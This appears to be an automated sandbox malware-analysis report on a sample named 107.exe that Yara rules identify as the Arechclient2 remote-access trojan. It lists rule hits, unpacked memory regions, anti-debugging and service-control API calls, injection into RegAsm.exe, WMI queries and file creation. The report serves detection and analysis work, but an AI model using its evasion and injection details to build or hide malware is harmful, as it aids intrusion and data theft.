Source: manifest.json.1.dr	String found in binary or memory: https://www.googleapis.com/auth/drive.file

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.45b30d0.4.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.4680000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.45b30d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.44d1cd0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.4680000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.44d1cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.44c0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.45a0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.45a0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 0.2.107.exe.44c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Arechclient2 RAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_004473E0 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess,GetCurrentProcess,NtQueryInformationProcess,	0_2_004473E0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_004568B0 NtOpenKey,	0_2_004568B0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_004569E0 NtQueryKey,	0_2_004569E0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00456AC0 NtDeleteKey,NtClose,RegCloseKey,SetLastError,	0_2_00456AC0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0045ED20 GetFileAttributesW,CreateFileW,NtSystemDebugControl,CloseHandle,GetLastError,DeleteFileW,GetCurrentProcess,CheckRemoteDebuggerPresent,GetModuleHandleW,GetProcAddress,VirtualProtect,VirtualProtect,GetCurrentProcess,FlushInstructionCache,	0_2_0045ED20

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00403010: OpenProcess,K32GetProcessImageFileNameW,CloseHandle,DebugActiveProcess,DebugSetProcessKillOnExit,WaitForDebugEvent,SetEvent,CreateFileW,GetLastError,DeviceIoControl,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,EnterCriticalSection,LeaveCriticalSection,OpenProcess,DebugBreakProcess,CloseHandle,ContinueDebugEvent,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,CloseHandle,OpenThread,SetThreadToken,CloseHandle,OpenProcess,ReadProcessMemory,CloseHandle,OpenThread,GetThreadContext,DebugSetProcessKillOnExit,GetThreadContext,GetSystemTimeAsFileTime,GetFileAttributesExW,CloseHandle,CreateFileW,GetLastError,DebugActiveProcessStop,DeviceIoControl,GetLastError,CloseHandle,DebugActiveProcessStop,GetLastError,GetLastError,

0_2_00403010

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_0042C200 QueryServiceConfig2W,ChangeServiceConfig2W,GetLastError,SetDllDirectoryW,GetModuleHandleW,GetProcAddress,GetFileAttributesW,StartServiceCtrlDispatcherW,GetLastError,OpenSCManagerW,OpenServiceW,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,SetConsoleCtrlHandler,WaitForSingleObject,RpcServerUnregisterIf,RpcServerUnregisterIf,RpcServerUnregisterIf,OpenSCManagerW,GetModuleFileNameW,CreateServiceW,OpenServiceW,QueryServiceConfig2W,RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcStringFreeW,CloseServiceHandle,ChangeServiceConfigW,OpenSCManagerW,OpenServiceW,ControlService,GetLastError,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

0_2_0042C200

Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00403010	0_2_00403010
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_004160F0	0_2_004160F0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_005BB110	0_2_005BB110
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0042B1C0	0_2_0042B1C0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0042C200	0_2_0042C200
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_004182D0	0_2_004182D0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041C2F0	0_2_0041C2F0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0040A2A0	0_2_0040A2A0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00417340	0_2_00417340
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00591340	0_2_00591340
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0045C450	0_2_0045C450
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_005B44CA	0_2_005B44CA
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00422500	0_2_00422500
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00415590	0_2_00415590
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0043E6A0	0_2_0043E6A0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041E6B0	0_2_0041E6B0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041F740	0_2_0041F740
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00413750	0_2_00413750
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041B830	0_2_0041B830
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00417970	0_2_00417970
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00419B90	0_2_00419B90
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041DBB0	0_2_0041DBB0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041CC40	0_2_0041CC40
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041BCB0	0_2_0041BCB0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_0041AD20	0_2_0041AD20
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00599E40	0_2_00599E40
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00405EA0	0_2_00405EA0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A1000	0_2_045A1000
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A9562	0_2_045A9562
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A368F	0_2_045A368F
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045AAD41	0_2_045AAD41
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A8FF0	0_2_045A8FF0
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A6826	0_2_045A6826
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A9AD4	0_2_045A9AD4
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045ABBFC	0_2_045ABBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7C880	1_2_00E7C880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E71070	1_2_00E71070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7B01F	1_2_00E7B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7D110	1_2_00E7D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E715E0	1_2_00E715E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7BD78	1_2_00E7BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7A8FB	1_2_00E7A8FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7C862	1_2_00E7C862
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7A908	1_2_00E7A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7D0F3	1_2_00E7D0F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7B09E	1_2_00E7B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E71067	1_2_00E71067
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E715D7	1_2_00E715D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00E7BD45	1_2_00E7BD45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D76C48	1_2_06D76C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D70DEF	1_2_06D70DEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D70040	1_2_06D70040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D71800	1_2_06D71800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7E830	1_2_06D7E830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D72761	1_2_06D72761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7BCFA	1_2_06D7BCFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D72430	1_2_06D72430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7BD6A	1_2_06D7BD6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7BD00	1_2_06D7BD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D70BC8	1_2_06D70BC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7C818	1_2_06D7C818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7C809	1_2_06D7C809
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06D7E008	1_2_06D7E008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF67B8	1_2_06EF67B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF3759	1_2_06EF3759
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EFDF52	1_2_06EFDF52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF4CE0	1_2_06EF4CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF2CA1	1_2_06EF2CA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF74B0	1_2_06EF74B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF5498	1_2_06EF5498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EFB0A0	1_2_06EFB0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF0040	1_2_06EF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF0828	1_2_06EF0828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EFC660	1_2_06EFC660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EFC670	1_2_06EFC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF4F90	1_2_06EF4F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF4CCF	1_2_06EF4CCF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF2478	1_2_06EF2478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF0006	1_2_06EF0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF0818	1_2_06EF0818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_06EF818A	1_2_06EF818A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07687674	1_2_07687674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07687AF8	1_2_07687AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0768E9A0	1_2_0768E9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07685F6C	1_2_07685F6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07688F70	1_2_07688F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0768DD70	1_2_0768DD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0768E940	1_2_0768E940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B90E90	1_2_07B90E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B982C8	1_2_07B982C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B98A08	1_2_07B98A08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B99278	1_2_07B99278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9C5AA	1_2_07B9C5AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B94580	1_2_07B94580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B96D38	1_2_07B96D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9F0D5	1_2_07B9F0D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9BB80	1_2_07B9BB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B95BF8	1_2_07B95BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B95BE9	1_2_07B95BE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9CF53	1_2_07B9CF53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B95598	1_2_07B95598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B95587	1_2_07B95587
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B905C8	1_2_07B905C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B96D0B	1_2_07B96D0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B97960	1_2_07B97960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B94580	1_2_07B94580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9B020	1_2_07B9B020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9B010	1_2_07B9B010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B90006	1_2_07B90006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B90040	1_2_07B90040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9D300	1_2_07B9D300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_07B9D2F0	1_2_07B9D2F0

Source: C:\Users\user\Desktop\107.exe	Code function: String function: 00423020 appears 98 times
Source: C:\Users\user\Desktop\107.exe	Code function: String function: 00427770 appears 40 times

Source: 107.exe	Binary or memory string: OriginalFilename vs 107.exe
Source: 107.exe, 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameavDump.exeB vs 107.exe
Source: 107.exe, 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamebluefin.exe" vs 107.exe
Source: 107.exe, 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebluefin.exe" vs 107.exe
Source: 107.exe, 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebluefin.exe" vs 107.exe
Source: 107.exe	Binary or memory string: OriginalFilenameavDump.exeB vs 107.exe

Source: 107.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.45b30d0.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.4680000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.45b30d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.44d1cd0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.4680000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.44d1cd0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.44c0000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.45a0000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.45a0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 0.2.107.exe.44c0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT

Source: 0.2.107.exe.45b30d0.4.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.107.exe.4680000.5.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.107.exe.44d1cd0.1.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 107.exe

Binary string: DUnable to retrieve the path of the module!Unable to get the path of the module!Unable to store the path of the module!SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersUnable to retrieve a path of the known folder ({})!Common AppData%APPDATA%%LOCALAPPDATA%ProgramFilesProgramW6432ProgramFiles(x86)ProgramFiles(Arm)ProgramFilesDirSOFTWARE\Microsoft\Windows\CurrentVersionProgramFilesDir (x86)ProgramFilesDir (arm)CommonProgramFilesCommonProgramFiles(x86)CommonFilesDirCommonFilesDir (x86)\\?\Unable to enumerate volumes!Unable to convert NT path '{}' to a volume GUID path!Unable to retrieve volume paths for volume '{}'!\Device\LanmanRedirector\\Device\Mup\\SystemRoot\\\.\GLOBALROOTHKEY_PERFORMANCE_DATAHKEY_PERFORMANCE_TEXTHKEY_PERFORMANCE_NLSTEXTHKEY_CURRENT_CONFIGHKEY_DYN_DATA<Unknown or opened key>32-bit 64-bit )path: (on (on value: String environment expansion failedString environment expansion failed due to unexpected buffer sizeCannot query registry value typeCannot enumerate subkeysCannot query key info to enumerate key value namesCannot enumerate key value namesCannot open registry keyCannot create registry keyFailed to register change async notificationUnable to open registry key handle using NtOpenKeyCannot query kernel mode registry key pathCannot delete registry keyCannot delete registry key treeCannot delete registry valueCannot write key valueCannot query multiple valuesCannot query registry valueCannot query registry value sizeCannot query registry value dataCannot query registry data due to '{}' value changed too often), but queried different type than expectedQuerying registry value (L

Source: tmpDC8Ctmp.zip.1.dr

Binary or memory string: ~.vBp5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/145@0/1

Source: C:\Users\user\Desktop\107.exe

0_2_00459B90

Source: C:\Users\user\Desktop\107.exe

Code function: QueryServiceConfig2W,ChangeServiceConfig2W,GetLastError,SetDllDirectoryW,GetModuleHandleW,GetProcAddress,GetFileAttributesW,StartServiceCtrlDispatcherW,GetLastError,OpenSCManagerW,OpenServiceW,DeleteService,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,SetConsoleCtrlHandler,WaitForSingleObject,RpcServerUnregisterIf,RpcServerUnregisterIf,RpcServerUnregisterIf,OpenSCManagerW,GetModuleFileNameW,CreateServiceW,OpenServiceW,QueryServiceConfig2W,RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcStringFreeW,CloseServiceHandle,ChangeServiceConfigW,OpenSCManagerW,OpenServiceW,ControlService,GetLastError,CloseServiceHandle,GetLastError,GetLastError,CloseServiceHandle,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

0_2_0042C200

Source: C:\Users\user\Desktop\107.exe

0_2_0042C200

Source: C:\Users\user\Desktop\107.exe

0_2_0042C200

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\9a6266ed752044c78662da8da86e77c4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\tmp67CB.tmp

Jump to behavior

Source: 107.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\107.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 107.exe	ReversingLabs: Detection: 31%
Source: 107.exe	Virustotal: Detection: 28%

Source: 107.exe	String found in binary or memory: company-install-path
Source: 107.exe	String found in binary or memory: SecureLineSecure VPNHMA! Pro VPNVPNTuneupTuneUpCleanupUtilitiesBatterySaverDriverUpdaterBreachGuardAntiTrackKamoSoftware\\IcarusSYSTEM\Software\PersistentStorageOverrideDataFolderLogssettingsproduct-reg-keyreg-keyicarus.iniprogram-data-dirdata-dirproduct-dircompany-install-pathcouldn't open filecouldn't obtain exclusive file lockinvalid string_view position

Source: unknown	Process created: C:\Users\user\Desktop\107.exe "C:\Users\user\Desktop\107.exe"
Source: C:\Users\user\Desktop\107.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Users\user\Desktop\107.exe"
Source: C:\Users\user\Desktop\107.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Users\user\Desktop\107.exe"	Jump to behavior

Source: C:\Users\user\Desktop\107.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
